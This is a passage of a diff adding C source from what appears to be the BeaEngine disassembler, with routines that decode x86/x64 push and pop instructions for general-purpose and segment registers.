((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 5ch + * ======================================= */ +void __bea_callspec__ pop_esp(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 5dh + * ======================================= */ +void __bea_callspec__ pop_ebp(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 5eh + * ======================================= */ +void __bea_callspec__ pop_esi(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 5fh + * ======================================= */ +void __bea_callspec__ pop_edi(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ pop_es(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ pop_ss(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[2]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ pop_ds(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[3]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[3]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ pop_fs(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[4]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[4]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ pop_gs(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[5]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[5]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * 9dh + * ======================================= */ +void __bea_callspec__ popfd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + + if (GV.Architecture == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popfq "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + FillFlags(pMyDisasm, 78); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popfd "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + FillFlags(pMyDisasm, 78); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popf "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + FillFlags(pMyDisasm, 78); + } +} + +/* ======================================= + * 9dh + * ======================================= */ +void __bea_callspec__ popad_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popad "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG1+REG2+REG3+REG4+REG5+REG6+REG7; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popa "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG1+REG2+REG3+REG4+REG5+REG6+REG7; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + } +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ push_es(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ push_ss(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[2]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[2]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ push_ds(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[3]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[3]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ push_fs(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[4]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[4]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ push_gs(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[5]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[5]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ push_cs(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[1]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SEGMENT_REG+REGS[1]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + GV.EIP_++; + } +} + + + +/* ======================================= + * 50h + * ======================================= */ +void __bea_callspec__ push_eax(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 51h + * ======================================= */ +void __bea_callspec__ push_ecx(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1+0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[1+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[1+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 52h + * ======================================= */ +void __bea_callspec__ push_edx(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2+0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + 